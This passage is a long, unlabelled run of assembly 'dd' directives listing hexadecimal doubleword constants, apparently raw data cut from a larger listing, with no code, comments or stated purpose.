0BD9CE6ADh, 0FCF77028h, 0A773AEEAh, 1B1DC31Fh, 212B6CE0h dd 551E77DAh, 8309DC4Ch, 0AC6134E1h, 21607889h, 136872E9h dd 2933BA5Ch, 4C6955A2h, 0FD996DE3h, 93B90BA5h, 243F0E2Eh dd 2C75C00h, 59021C4Eh, 0D2105D19h, 0B3080114h, 8138AE0Ch dd 0BEEA94CFh, 5786CED7h, 0E02AE762h, 5709E995h, 0FCB4DE96h dd 0BBC729FCh, 0E22D0908h, 0E742659Fh, 2579289Ch, 4CDD295Ch dd 401B886h, 38CBAE49h, 3252D6F4h, 0FCBEC379h, 0E3D00DCAh dd 5886595Ah, 8A0EC452h, 2EBC03F6h, 0E2F6F37Bh, 2FEE6D5Ah dd 88E9015Ch, 28E252A4h, 436D7099h, 0CC77C372h, 0F1DA30E9h dd 87E590BBh, 296A8606h, 5DCD7519h, 1612BFE2h, 512F6A2Eh dd 0B9FD20B1h, 0D0258B40h, 7F551082h, 337E992Eh, 4250CB5Eh dd 2A083EFAh, 2A320EC4h, 0AA3D79A8h, 8E08FA24h, 1277397Dh dd 927C513h, 93C0F1FCh, 0AB47D281h, 0B887C714h, 8A522262h dd 7F91FA1Ch, 640F1086h, 3F24FC2h, 8FB3169Ah, 59BABE86h dd 0F434B180h, 262DCD15h, 0CFC82A5Fh, 0B7660868h, 9262DAA9h dd 0DC59CB35h, 0E922AB17h, 0E045429Eh, 22E54BE9h, 8297F482h dd 2BB21D1Ah, 6C233699h, 0F9A4CAE8h, 1F560B9Bh, 0CAFE287Eh dd 0D70605FAh, 2254613h, 7F09339Dh, 46A9F397h, 9AA3561h dd 211568DCh, 0A4C1AAA4h, 0F8C4A1E8h, 263417B1h, 9757FE8Bh dd 0B7A970EDh, 4C1A58A4h, 0EB7D14DEh, 0D2ECB3CAh, 6B1019A0h dd 0AC92C866h, 628E3020h, 0F8C39EB8h, 894C4D5Dh, 0F2CA35D5h dd 3B71941h, 85C735E9h, 35418D9Ah, 68DBD0F2h, 0E202C6AFh dd 0AE6788A7h, 184A0887h, 0B4A211h, 0C9E5FC49h, 0C1BBBA11h dd 0C6846677h, 4AC23538h, 0AFC4A9E9h, 0AF99AC3Eh, 5F5BB70h dd 27C3272h, 0AC429089h, 47D11BEDh, 5D284AFFh, 70037856h dd 0E558BF5h, 0EC22C58h, 15A2F07Ch, 4C9EAF9Ah, 8061830h dd 42771E2Bh, 0A3409578h, 6F16FD71h, 33C363C8h, 3F1A5AF9h dd 69C086C4h, 9CC1CAF4h, 62EF034Fh, 8FDE588Eh, 20BA8E29h dd 0CFE426FBh, 6B294C0Ch, 0F15D65A5h, 5571CE87h, 0ABD635Eh dd 0A283266Fh, 11426C45h, 1688EF78h, 19DAFE34h, 5ED9EFA7h dd 4E446FDDh, 0B4634041h, 5098892Ch, 0C7732AB1h, 177929DBh dd 11067F42h, 0BE2FB24Ah, 639850EAh, 7955E754h, 0A366AC28h dd 2482FEC2h, 3C9092B6h, 6DA8BEA6h, 0F273BC4Dh, 6E940DAFh dd 0D30C3A0Ah, 0A8B457F2h, 2B5455D2h, 0E1408210h, 0B430C168h dd 2BF824BEh, 65316142h, 7DFA823Fh, 0E22315D9h, 378644B9h dd 0C183DC62h, 8AD268F4h, 3F7DC7FAh, 3BE7F094h, 0DC764D2Fh dd 0BF98DF3Bh, 80666B2h, 0C6F9E947h, 0F074B58h, 8642633Ah dd 54F1F54Ah, 0EA493FCBh, 0FC5D4424h, 0CA4EB3C1h, 2729D1DFh dd 0CC4D8C23h, 583FDFCCh, 4216D1AEh, 0E56BABBAh, 8460867Ah dd 3BACC6A6h, 0EBEF2712h, 8EF50EA1h, 8AF9EFBBh, 67433274h dd 0C826C8C4h, 260B7A72h, 1061DC45h, 298D6D12h, 52A42527h dd 500625D0h, 25628A04h, 7DA10376h, 0E5322FE4h, 0F95DD8A2h dd 2DC412F4h, 0F514EF76h, 11B04F87h, 0D01FE87Fh, 0AB455674h dd 0D1E594ACh, 0D44911B0h, 9066B88Bh, 0D597A72h, 280B77A3h dd 2ED29C66h, 553AE479h, 6BB265D3h, 0F6B394Bh, 8B576924h dd 40D812AFh, 5768E1CFh, 0C6D11418h, 2A839108h, 19972610h dd 0B44EFF1Bh, 19967956h, 41A425EFh, 5757903Dh, 0FC7824Bh dd 1ED3ABBDh, 50244558h, 7267D526h, 3A866360h, 0C98DB7AAh dd 34A29A40h, 60C295DCh, 0C069BE4h, 8858B3Bh, 5712E17Fh dd 0EB31CD76h, 0A8FA522Eh dd 4BAD1986h, 7AA00310h, 837B1289h, 79A2C765h, 64A99284h dd 48FEBF58h, 1A06D583h, 2A6D2978h, 0A2A19219h, 44AA1292h dd 0D7B8192Ah, 0DC8CCCFDh, 227DD244h, 0EA6C37ABh, 8A683ABAh dd 0A6509167h, 80123F89h, 5279FA73h, 597FD57Fh, 0C9DD980h dd 14E12E20h, 5E43DAC4h, 0EDEE38AAh, 9204EA52h, 0E980A146h dd 37AF3E0h, 7F1CC328h, 9C8902EAh, 481051BAh, 1148726Bh dd 0B657CE7Fh, 0B39F8267h, 0D87F4147h, 51A4C474h, 4B911131h dd 8ABB74BCh, 16C1A612h, 9E2C495h, 6BF1A3DBh, 0CFB9338Fh dd 39029E18h, 0B3336FD3h, 346F67C6h, 1F86E4FAh, 0FB969ED1h dd 9D6C56CCh, 85109EB2h, 0EC3213F6h, 7C97C739h, 9A50D567h dd 452F33Eh, 99998AD1h, 44CF48E6h, 808FF59Fh, 0CA750DA6h dd 1194413Fh, 4B59F5B2h, 0A82C74EAh, 0E5E2F5CEh, 124F6BC7h dd 59A00A8Ch, 73B7D342h, 0FCEA6B62h, 88B9CFDAh, 6E785300h dd 8A5AB965h, 0DAA4B3D0h, 55D3A20Ah, 4291B2C2h, 44AAE2Ah dd 78C86B34h, 83B0D1B6h, 0F6D8E611h, 0DDAA1143h, 41C55A8Fh dd 85FFACA1h, 2FDFF9CEh, 0F4ED049Eh, 499442EBh, 7641C512h dd 4FBB547Ah, 452A2ABBh, 6452292Dh, 0E3F6C9D1h, 11B55085h dd 0D2F08B7Eh, 0DCB6BA34h, 372FA8D9h, 0A8A3FD9Eh, 19F95025h dd 228CD233h, 0CAE5417Dh, 72B0CA60h, 11A19D9Ah, 33F620E3h dd 666608B4h, 0D023F54Fh, 0C521C0FAh, 6C47F8CDh, 2B728CE8h dd 19BEE5DCh, 320DE9A8h, 0FFBE8D0Dh, 0D53B81C5h, 9D0A2C0Dh dd 4103542Dh, 4E0B431Dh, 0EA0D885h, 24984BE3h, 0FD7983F2h dd 34B2BAE4h, 727BD6A8h, 34928645h, 2C6CB54Ah, 827DA231h dd 0A791FE48h, 21FA90FCh, 74B404FBh, 0DABE4F1Dh, 0BD0E110Fh dd 0B3224FD1h, 1BEE4214h, 0D4B8B37Fh, 0A11FB343h, 0AA294B11h dd 8A7E9458h, 42610A47h, 680F5148h, 0D4BB1882h, 0D249CDF7h dd 3FB37D11h, 753D2C70h, 0FC544168h, 5A8D1379h, 655EBFAAh dd 0CFEBBC43h, 0DA290153h, 0E6D77B56h, 6A413553h, 0BE92E1D7h dd 73EC7CFEh, 0F2ADD51Dh, 17468082h, 0C54B6A83h, 8F049910h dd 67D112D6h, 0CE45AD61h, 0A6E185A4h, 0C9A03FC8h, 454A3253h dd 7BDC23D1h, 495AE6E7h, 44CD8E99h, 1DAE3427h, 0A0B9C517h dd 28E27688h, 0FE6F67E2h, 33B4E351h, 64AD1B2Eh, 0B90D5D19h dd 8BD7171h, 23A94527h, 0A3A4478Ah, 8A6F928Ah, 0CE5B2256h dd 9A3A2549h, 0AE91207Ch, 28A2BC27h, 8112F704h, 0FDA331B0h dd 24A9BFC4h, 59CFF68Bh, 982AFEFEh, 0C0179D41h, 0D6A8CEB8h dd 7A38A33Fh, 17C60D79h, 28ABF567h, 0D53D7DB8h, 57B895E1h dd 3B50E2AEh, 19CE2831h, 41C647B3h, 6C14E914h, 0DF1A36AEh dd 74E21A19h, 579EB09h, 0EF6000D5h, 156322DFh, 0FF0AD148h dd 173CE762h, 6DF193F8h, 8A9AE92Ah, 0A2558C41h, 0E905AE53h dd 0A258726Fh, 93EAE855h, 714D0CCh, 0ABDC1648h, 0B4F30938h dd 230BA9FBh, 0A087B315h, 0F763ED2Fh, 60345556h, 49C38675h dd 0EC318E29h, 35A39A92h, 51C19C3Bh, 6C74E929h, 3287CF9Bh dd 91596323h, 75111032h, 0A2969DC3h, 0EEAEC3A7h, 0EBE7670h dd 0E94BD577h, 0A2EE2D1Bh, 70E9874Fh, 8CE96C9Ch, 2850AB2Dh dd 0CC95D22Bh, 4ED0252Eh, 0CF564F5Ch, 5A555582h, 4B174928h dd 597799E2h, 984FCB25h, 0FC392F0Eh, 3E26D721h, 6CB9DF44h dd 4EC39414h, 0D235DA50h, 287DBDF6h, 5A1BA3F9h, 0E137015Bh dd 55D4408Eh, 0C05E1A78h, 150E4564h, 0B0620BC5h, 0A833DC62h dd 1D493F3Bh, 4DC58B2Dh, 59A042EDh, 464DC649h, 0D14828E6h dd 0B245BE57h, 7C0322A8h, 2D1186Bh, 473AA0F5h, 0AAD7CC64h dd 0A037A7D9h, 8CB34BABh, 451E9973h, 5DA0F42Ah, 8E355F03h dd 0A938943Eh, 8EBDE668h, 331D421Fh, 0ECCB4655h, 56250365h dd 5662C6B4h, 45980A46h, 4495550h, 53AD7C91h, 32E8E465h dd 0F894F4AAh, 54EE12E6h, 9DEC80D5h, 6F4F3E5Bh, 46F74B4Eh dd 0D065A251h, 453D6482h, 44B98D5Bh, 0CD9C7946h, 34313447h dd 1F086115h, 6E17845Fh, 0CD83E904h, 6D336995h, 0A7D5325Ch dd 0CDDE578Eh, 5E5399DFh, 78ACD30Dh, 0ADC9F927h, 1522E2B3h dd 5F9D3C61h, 0CC93AC8Ch, 0A43041B1h, 3772B5F1h, 0C0B96641h dd 0AB572E8Bh, 45D1C58Bh, 93534DBh, 0FA675348h, 888B6635h dd 4AE0136Bh, 24EF31A7h, 603891E4h, 6962B511h, 651DB01Fh dd 3E2BD144h, 0A8C38ED7h, 7CA67432h, 8AF2DE52h, 4A0608C4h dd 6595DB91h, 0F1E92BD4h, 6997519Ah, 0CA26631Ah, 88AFAF2Ah dd 0A218E7C5h, 0FB92E773h, 2089B5C3h, 3BF204F2h, 5293A28Bh dd 6FC6391Bh, 0F0CD85E3h, 117F1F2Dh, 0D15AED1Ah, 0D72C24CCh dd 752658DFh, 0D7D02C6Eh, 59B98954h, 0A6C32D31h, 0D60E88A0h dd 1D1FFBA8h, 52F822C9h, 0E04F4E63h, 74AC8AA8h, 0E49AF6BEh dd 487408ECh, 349186BAh, 28A0988Bh, 172FCBDh, 67030257h dd 0ACA2ECCFh, 0B125A5FEh, 0B2C38BCAh, 4A59D6Eh, 9A178D99h dd 5D26911Eh, 0E52A2B4h, 550FD046h, 0ADAB0459h, 0FC24C030h dd 35AE595Eh, 14169163h, 0EF31BA29h, 0D0D5DD78h, 2C2892Bh dd 0F849C5D1h, 0B3AE3968h, 99085457h, 134AC0C9h, 0E06D6B76h dd 5760BC7Fh, 5D47BAD7h, 0BF4D34Bh, 0F9EE56B3h, 0D19B907Ah dd 24AFBB03h, 68F68A6Eh, 125E53Fh, 2D6BC1E8h, 59A25D10h dd 0D72A6D43h, 0FB9F8A42h, 8C5D20AAh, 0EA3C5AACh, 9254F73Dh dd 0C8C35628h, 0AFD4EAB1h, 69A302C9h, 11144BE3h, 7FB37C72h dd 0D8E867D3h, 862BBB85h, 0C0858EF2h, 2462A790h, 669AE771h dd 52D33553h, 0B204CA06h, 665A7D75h, 0E6FD914Dh, 0BA4AA28Fh dd 0FA5DAA6Eh, 3F9B3A09h, 25E82BFAh, 4E7FBC37h, 0F8B73F99h dd 108B3732h, 489A7155h, 0F0D4B562h, 86FBD404h, 71579A76h dd 311D3AFEh, 1A12EEBCh, 0AAEA1FE8h, 46F299CEh, 585AFC77h dd 0F5C2D087h, 5F8B3216h, 162DD511h, 4F97B139h, 406BB029h dd 355EDB6Ch, 50A8D3BEh, 4E92EB07h, 2AD448D5h, 0DFD56A0Ch dd 0F2AD476Ah, 8E56FEF1h, 403A447Eh, 0F2535508h, 11879605h dd 2E8DBDBAh, 1235C938h, 6E58BA2Eh, 0ABAA06DCh, 72E9C0A4h dd 5098E85Ch, 26E62E55h, 29FC184Dh, 909DD444h, 57619127h dd 1FD38D5Dh, 83A1B744h, 7CBB8705h, 44F4633Dh, 0CFB54702h dd 39479FE0h, 33165FD9h, 3D181E54h, 35B52C42h, 872A4A39h dd 154F4159h, 9132CEFFh, 1A9F958h, 0EC54FD40h, 0AA6001B4h dd 7C661F44h, 0C56B143Fh, 220AA0D4h, 53229E76h, 3A044D5Ah dd 0ED5428A9h, 54749552h, 406953ACh, 0A9EF7D1Ah, 0DD1884BEh dd 824D5C1h, 12154BCAh, 663DDA3Bh, 99162B4Dh, 0E7FB07D4h dd 71E6097h, 4C3E21E6h, 0B8779E23h, 9E0B2C1Ah, 784B1398h dd 54185B05h, 1FCE1198h, 3496E551h, 94CCA485h, 8D32AEC0h dd 242AE17Eh, 0B9313666h, 2B92B4ACh, 0ACC5AB5Ah, 5D8D1716h dd 706CAE89h, 0F2B6BC40h, 18E17B10h, 30527DF0h, 62C037AAh dd 0A46DE58Ch, 0CAE63660h, 5C355437h, 82CF008Dh, 0B4492FF0h dd 5AA7AD07h, 8E8B242Dh, 0ACAC9240h, 4A3B9473h, 66E5AF10h dd 49941015h, 14518D63h, 72EA2453h, 0BF944371h, 0DC485160h dd 6914F9D6h, 0A78718CBh, 2303CAAEh, 140DB1FCh, 0B6D028AEh dd 12055753h, 38AF0E2Ah, 1C40ABCh, 94D0786Fh, 69726183h dd 0B87B7A97h, 6200844Eh, 5423A02Ah, 0B414A3EFh, 30B98E52h dd 0EBF660F8h, 5099C466h, 0AAC80640h, 0ACACA589h, 1B8515B0h dd 333FE2F9h, 2207D97Ah dd 0C21A7BECh, 56C1C156h, 6D456751h, 0D38E9FE9h, 24795A9Eh dd 80DFA881h, 6A57572Eh, 0B562A20Eh, 2E970602h, 0BA50D2DAh dd 0DF82508h, 6E1F56E6h, 7EC55763h, 0BD726294h, 7A71595Ah dd 98FD18C5h, 0AD5CE793h, 97D3D7CCh, 0C579ABC5h, 5172B668h dd 0A5CD5A5Ch, 0FA2BDE95h, 8FE82AC8h, 0D2924A3Eh, 202883CAh dd 8AD2F8ADh, 148CF77Ah, 0E2C51B7Eh, 2A0F1170h, 625F68E9h dd 517E39CBh, 0B438EBB2h, 78884DFAh, 795AA55Dh, 2757722Eh dd 28325565h, 0FE4B1C7Bh, 0E672B468h, 0F91232C9h, 0DF53E8Bh dd 0F4F14C54h, 159FA892h, 0E7DAFB9Fh, 68D82C6Dh, 754EB383h dd 0F7B085B4h, 0F92D2310h, 0FAE0946Dh, 0A8761508h, 3168C7CEh dd 0D47675FAh, 93578E47h, 5E111723h, 18A88331h, 88DF12E9h dd 0B74F2BE3h, 8175CFC2h, 0D365A451h, 195A97FAh, 0DAABA155h dd 330617E6h, 2AB33D68h, 0D0C7F3AAh, 0CEC2C15Ah, 7478ACCCh dd 0C661798h, 6D423495h, 61D2573Eh, 50473FA4h, 88F3734Fh dd 9047AD1Ch, 0EA2338Ah, 48CEADC7h, 3D8DDF82h, 176EA889h dd 0AF79822Ch, 0C8F2657Dh, 0EEFDABD7h, 748A34E3h, 2872C9A9h dd 586B292Eh, 5FEF12C0h, 0FE54D705h, 55194E7Ch, 1F94BE2Fh dd 1CCC504Ah, 0D22234BCh, 0D5657025h, 7A56F364h, 0CAA85E0Ch dd 535FF394h, 8C3CC2B9h, 0FDAF6069h, 0B5E1F372h, 0A537CCFCh dd 0B81AF59Fh, 3756905Bh, 0ACE2D72Bh, 0C6AC05D6h, 0B3863380h dd 686FBDA8h, 99AF7DDEh, 0CB906175h, 0AC213F0Ah, 0B887A982h dd 462FE777h, 6FF2F2ECh, 45489159h, 86E6591Eh, 8A0D1AA2h dd 0D3AA13F6h, 6370132Eh, 4BBD0B8Fh, 47568A9Ah, 0A12E68F0h dd 2A48509Dh, 17B4E0D7h, 3E77957Fh, 591B6633h, 51BE4845h dd 0D7C2D707h, 2E0D6922h, 71E94421h, 0AC7E48E8h, 0F5A177F0h dd 90B134E6h, 7FE8A2Ch, 46A083BDh, 7233C74Bh, 7A38707Dh dd 89150480h, 0DF85E50h, 11C40C5Dh, 36061EFEh, 1716A0A6h dd 0BAA91C14h, 9C8E326Bh, 352DA6ADh, 0D6F222F0h, 5B23C1D7h dd 0EDEC7CB4h, 0E94B8B50h, 4C11556Eh, 15A8F0DEh, 0DE03242Ch dd 36C4AB84h, 0C3D87D2h, 323E5B70h, 2BD863AEh, 0D30E7AA0h dd 4BA322E2h, 97CFD33Ah, 5C95F6ADh, 6607281Ah, 4A51583Ch dd 0F2EA5EE2h, 2C72B07Ch, 0F8B3E98Ah, 0D3E563CAh, 0CF102B2h dd 43E10954h, 99817E0Ch, 0CEF81AAEh, 4E0DF7F8h, 4BAF738h dd 0EAD3B58Bh, 4FDD9648h, 4655722Bh, 5E5C1B53h, 0C5AA1439h dd 32D1596Fh, 1AFB3EC9h, 0AA65D63Ch, 11B4B569h, 0DBDBDD2Ch dd 0C9E9518Ah, 0AF2F2A7Ah, 5AF127F1h, 81FB218Ch, 78A1CC2Ch dd 698B97F1h, 17DA47EEh, 0AB5AE757h, 5F9CE91Bh, 0EFDB2B05h dd 5D08CD38h, 8C620240h, 0A3EB65A4h, 0D895AA5Ah, 1B12F6DFh dd 0B46F4915h, 828F6901h, 88E83C96h, 0CD89693Fh, 2348FDC6h dd 7852F75h, 0DA87ACC9h, 61178A6Eh, 6F9F5B50h, 6A9A9F64h dd 0AE82EC89h, 63C0639Ah, 77D795ABh, 0F5CB24D5h, 17EBC155h dd 34F25CE0h, 33F44542h, 65CDA38Bh, 19682DA7h, 675D8749h dd 2E93A0C4h, 0D694724Dh, 0EFA946F4h, 5176D595h, 18A7E5B0h dd 419E4853h, 9FD4D1F4h, 788DB521h, 4E9F5466h, 0D9C520BDh dd 567BD747h, 0B25625D4h, 54335178h, 5B56B547h, 6F289C74h dd 0D16D1026h, 0C629E65h, 75685F9Dh, 33436997h, 0B564D952h dd 7EEA4429h, 8CB21BEDh, 0C2F8D1ACh, 0ECC952E4h, 0E119D5E7h dd 39D058CFh, 34025ECFh, 2ECA91ABh, 44D6AA4h, 0E2329E3Ch dd 4F45DE5h, 0D3DC8A92h, 535394CCh, 0E7EE9646h, 0A312D287h dd 32B6AC86h, 47B6DC46h, 6138B8BEh, 0C08C0EB9h, 2446C1F5h dd 0C93B22BDh, 698B69ADh, 48905021h, 17CB4E1Eh, 3EB8DA46h dd 6230A5C3h, 7E817B91h, 0AE75248Eh, 0C14776AFh, 1E67A338h dd 255F1EB6h, 54B82B83h, 44A1014h, 0E7FC0AA3h, 84524A11h dd 2EE5C8E0h, 15C7A5FAh, 0F688795Dh, 0A1852723h, 20FFC124h dd 0A2F39396h, 0C745A389h, 29D2BD31h, 8D041735h, 0E830B471h dd 92FB8BADh, 8DC3762Eh, 62F37AFBh, 0A0F20D2Ch, 0DAC668E6h dd 0D68EDD03h, 60C28FD9h, 8640A5B9h, 17F9709Ch, 0A2A1D52Ch dd 38BDD08Bh, 6C38A452h, 65B692B3h, 6813BD4Ch, 0AF59808Fh dd 0C2457B0Fh, 0C676A55Eh, 0D597DB61h, 0BE4FDCA7h, 881517BEh dd 8B3D307Fh, 0C8E0F66Fh, 0F3882029h, 1B34F860h, 8FAAE447h dd 0BF22974h, 1A16A8DAh, 0B62E71F3h, 444B223Ch, 7A3082A9h dd 7AAED745h, 0F9B5008Ah, 47BC62B2h, 0BE647D11h, 0BAED41C6h dd 4D553E0Bh, 0EBA20C2Bh, 0A8A32CC5h, 3F2EB3Fh, 5C44338Dh dd 5F0DD245h, 3A65CA9Ah, 0EB92C75h, 0C0A29812h, 0CA9380E8h dd 4C5A7322h, 2FD67A92h, 74A2A2B7h, 0A4E3B0A7h, 4D2FAF35h dd 4B0E5CE2h, 0F331842Ah, 0A5A7AFDFh, 0AABCD8Bh, 4E8C62FEh dd 0F91171B5h, 1C50764h, 686C65D8h, 0DF21E1CEh, 952AA68h dd 0CABA6524h, 7682D8F4h, 227FFD3Ch, 8C0A2CBEh, 0AD685A2Fh dd 991F755Eh, 22559E45h, 0B3E15498h, 3F309D9Ch, 9EBAA34Ch dd 1AEC7FA7h, 0AAF8D19Eh, 0B90C0DF4h, 0DFC8BC0Ch, 0BC73383Fh dd 0EA45AA1Eh, 5AB739CCh, 0EEB1B4DBh, 6633BA47h, 715B3634h dd 0B28CDC67h, 3568A8E2h, 0A05AECD0h, 0AB3E7E5Fh, 29BEFF50h dd 2A8B108Eh, 29946722h, 3A9CC45h, 843C8AA9h, 0E751183Dh dd 50CDA034h, 5E75D424h, 0E966D181h, 0EB5D1455h, 0A5CB267Ah dd 23F863A8h, 0A943AC78h, 0C1DC9016h, 80EB4627h, 2E4E993h dd 5B6D66C9h, 1C84F0D5h, 86709F40h, 92993F3Dh, 2AE317EEh dd 6C1DC894h, 2F5FF90h, 0D94B37F1h, 3C61C10Bh, 0B09BFF55h dd 544775BDh, 9FD0E828h, 78E859D3h, 0EFD16DE7h, 0A92A52A8h dd 0C2FED25Ah, 8DDEBB5Dh, 5A186B69h, 33F3F51Fh, 710BBA00h dd 0F761D5EEh, 0ED6123F6h, 50CBFB04h, 7AF07445h, 0E56C1DCFh dd 188D2FB2h, 0D456C0CEh, 0B850A74Ah, 31CAD1DCh, 1EE2D771h dd 15D29DAAh, 0EF450473h, 0CA0B2FE2h, 6E5E393h, 74F8D71Ch dd 9DCA1017h, 8F8A904Fh, 3303551Fh, 2D494C1h, 5CF590BFh dd 0DDFD12Ch, 7C8BDCC8h, 1631FCFCh, 31FE1675h, 0D1A874B0h dd 3AE97F0Bh, 9396454h, 2A4082EAh, 0C182159Eh, 0B15EED12h dd 8687C34Bh, 727BC53Eh, 343C75A8h, 85538A67h, 7CC4FED1h dd 0AE7057EDh, 0BC6583E0h, 0FF9D7CBh, 0C9D4AD27h, 3CEBB436h dd 0CA45BCA1h, 0BA400638h, 0B4C0130h, 3086490Ch, 0DCCCB039h dd 38444218h, 0CF191DF6h, 24094858h, 0A5102049h, 54459899h dd 90489019h, 8EA1357Fh, 0F2A72FD8h, 0C090CFB9h, 31D1AE18h dd 0C970C56Fh, 37813F4Dh, 2E91778Eh, 4F1849D7h, 9D82DDB5h dd 5E8293A7h, 77A69755h, 72AF146Bh, 265C6C98h, 92C5FB3h dd 9DD653B2h, 33A3EE80h, 3321A9B3h, 8E2CAD3Fh, 0BFCB8F04h dd 465D264Eh, 59D638C8h, 5F1C60A0h, 0B8A9F5F5h, 477C175h dd 932355BBh, 0C56C0BE4h, 54772832h, 0F4469711h, 0C6B40C31h dd 0A2BE05B4h, 0E13037F4h, 0D8A70477h, 2D0E1695h, 2C0C587Ah dd 60AA93Ah, 92609F06h, 3316B120h, 3A517515h, 2A4F7723h dd 0C30C7171h, 0F30C85C0h, 19B24B0Bh, 57B11FCCh, 4F1DAF78h dd 955CD52Dh, 0BCD79EAh, 0CCEFE643h, 0BBCA30D2h, 0B52A3088h dd 0C88F4516h, 4CDF8ACCh, 0C5DE424Eh, 38FB5228h, 600651C0h dd 42F30701h, 0F9B862ADh, 8DE358A2h, 62550A59h, 954A7FC1h dd 8288D915h, 625FA76h, 6F9D676Ch, 4EE46EF9h, 0F655AA69h dd 695F36C1h, 445D5A86h dd 1D79C1B9h, 0E49242A3h, 8215AE6Bh, 92CB21C7h, 0AA39E03Dh dd 165B65F5h, 0A0D35774h, 30DFECBDh, 0ACC159C0h, 5C23A4CBh dd 0D822D52h, 0DAA34B8Dh, 6EF97663h, 0B9AA4EC2h, 0B8AADA62h dd 37F6C2Fh, 0FC62CF9h, 437EF44h, 186C3601h, 0E8B3F23Ch dd 2CEF7B17h, 523FBDD1h, 0FFAF7424h, 9246479Dh, 0F2F29EA3h dd 0AA454707h, 538F9FF0h, 115D7E2Fh, 0CC6845FCh, 0A0976D47h dd 0F97F286Fh, 0B4432A1Bh, 40FACFA3h, 595DCFC1h, 0BE0DD46Dh dd 89AA2B53h, 0E0FFD607h, 0E7CEFF0Eh, 0ACB035BBh, 0B431D561h dd 98062197h, 862677D6h, 0C3133AB4h, 0F0F9B8AFh, 82144318h dd 49615D20h, 15C964A3h, 89061843h, 5784067h, 86CAD1DDh dd 3EA7BDCAh, 83A3FAAAh, 2543198Bh, 8A322C2Ah, 98947CBAh dd 0BE4E1E4Dh, 0B375D306h, 45D1F412h, 0A3C0A381h, 4A022226h dd 2EA2497Ch, 7502F706h, 3FECA080h, 5C603F63h, 5D604BD7h dd 47A89C85h, 0D4CFBEFh, 0AD5DC612h, 0EF206040h, 185167DBh dd 5973414Fh, 149E20B7h, 91B00A08h, 52EE0066h, 0D3202040h dd 8C7D2244h, 0C3A047E2h, 496846C6h, 14AF932Fh, 8EF08632h dd 30E1CCBFh, 9A0B443Ch, 0B6B81AE4h, 0DC2EF7F8h, 592E2FA0h dd 0D699F6E8h, 7857D2B5h, 20B9C2B8h, 68C90371h, 17102A39h dd 5DD15A54h, 8E92100Eh, 60A3023h, 78EF62D2h, 2EF0C9AAh dd 0E34D8CDBh, 0C40AC93Bh, 8FBB8F2Ah, 0E476BD76h, 0D70FC851h dd 5CA95C72h, 37446138h, 36997957h, 0DA467FB8h, 5601FFF7h dd 571B3265h, 541F4BA4h, 471646FAh, 0E2D753C1h, 58B8AAB2h dd 0CCEE7AE1h, 7BF074CCh, 0EE09B0Ch, 4A3E1BFEh, 0D16AF8D1h dd 7EB307FCh, 8D825F39h, 0C530E29Bh, 11AC6FCBh, 58AABA81h dd 0C349BFDDh, 0D66B9E68h, 95724289h, 0C115BC34h, 9523716Dh dd 0F27C139Eh, 0EC4E3E8Fh, 0EF3EF4B5h, 0C470C348h, 16A8DADCh dd 0DF913E3Bh, 28953559h, 0F57C59DDh, 0AC99AE95h, 0F516E912h dd 70428BA6h, 0D6ADD959h, 8D2B62Ah, 0E2B0749Fh, 0FFC3EE30h dd 124B069Bh, 0E4CFBC76h, 94C392A6h, 576E11Ch, 4289289Eh dd 5745DB8Ah, 6951971Eh, 8315A315h, 357AABECh, 8272E77Ch dd 0C63E60BFh, 2A0E319Ch, 0A3AF7594h, 1F07ADFDh, 8C976D7h dd 0F51DA052h, 73A098ACh, 0B92F712Dh, 74118960h, 8EE2086Bh dd 0DB336637h, 0C7D0BA5Ch, 7E555491h, 40F9E141h, 0B9E73C42h dd 0CA7748Eh, 0C273E2BBh, 5D60F196h, 63AF7DFAh, 0C6EFCE07h dd 0AC5973E2h, 0DB2B17D9h, 8BBC589Dh, 468B080Ch, 0BB144C10h dd 0AA402843h, 5BD2CBA2h, 698FB9EFh, 24D16A24h, 67AB168Ah dd 43F06A4Eh, 569FA1CAh, 0F9DFB195h, 8982EFE6h, 0CA0C86F1h dd 45563E44h, 42EF6C1Ah, 53B3D82Ah, 176A7649h, 0D7BA6864h dd 70AB1ABAh, 19F61455h, 2976500Bh, 144202C2h, 0A8495752h dd 0E9862176h, 8A801E03h, 0FD62113Dh, 29603B8Ah, 2E17F3BEh dd 566335Ah, 0A1F855E5h, 9B7B4008h, 0F572D2F1h, 5B3A1FEDh dd 8AA928C2h, 4017E5A7h, 36A3D3CCh, 6280862Bh, 95C3AEB1h dd 0B28E180Ch, 0E367CC4Ch, 0B44188AEh, 71373140h, 8C053398h dd 0E8082356h, 3BBCD025h, 0D04AACC5h, 2162CB19h, 897FB2CBh dd 0F6004AA7h, 25884A74h, 2CEE63BBh, 0AA88BE90h, 0D551D064h dd 83931E55h, 0BC3F0146h, 5C77E174h, 98E79642h, 5155DA86h dd 0A165C08h, 19743450h, 5CD80FD2h, 0DA9046E8h, 37739D51h dd 8456F18Ah, 790A07C6h, 65A27026h, 5B1700B6h, 7454A8Eh dd 89D375FCh, 0B9626D55h, 0AE5604E0h, 9B07E7CDh, 0FFA41F2Dh dd 0AD917CA3h, 9FF2959Bh, 0A7AEB4DBh, 0CC49A82Ah, 0E68DCD41h dd 0E509E672h, 0E7596047h, 5143699Dh, 45D8952h, 0BB5F9DB1h dd 5A1AB04Dh, 7F308554h, 2D35FBF0h, 0CA2EE4DFh, 395BA0C5h dd 6F456D1Fh, 2E746951h, 0A3A23CAEh, 0FCAA8F3Eh, 0CAA930EBh dd 1420A1CCh, 0EBDE8480h, 0D05CB44Eh, 14F11D35h, 76579641h dd 0B1C5595h, 0C6E17155h, 16276C32h, 0BCB528DCh, 84A1232Bh dd 7E77E3FCh, 56552A44h, 1DF04586h, 0D438F24Eh, 0F930015h dd 0F652067h, 0AEC23146h, 0DC6D4A50h, 12D12D5Eh, 4B0D126Fh dd 267BEE1Bh, 173351E0h, 0B16A2047h, 0F8F6D14Ah, 14D4BA4Ah dd 72EA8AA0h, 9EFAF47Eh, 0D5D1E31Ah, 5FB8B634h, 4CBC576Dh dd 0D282C76Dh, 13489C80h, 0C5184798h, 1FDE28D6h, 65141068h dd 6E25D510h, 22156089h, 7DC71025h, 5E707041h, 68EE1582h dd 0CFF957E7h, 0B9B5DD9Dh, 6E58BDEBh, 5E52A2BAh, 64A4AEC0h dd 0FB951524h, 611CE6D9h, 38BA52E5h, 498B2ACBh, 0D778918Dh dd 0DDC8B1E4h, 0B5453AAEh, 586CEF87h, 2FADAB03h, 5E144160h dd 0BC7BDB35h, 0CAA81DAAh, 4D3F8C0Ch, 9252F800h, 4ED85FC4h dd 53D5726Ah, 0C0D5EBBCh, 57EB7BF3h, 2530C7AFh, 9C96A50h dd 683BDC13h, 53BEBAC0h, 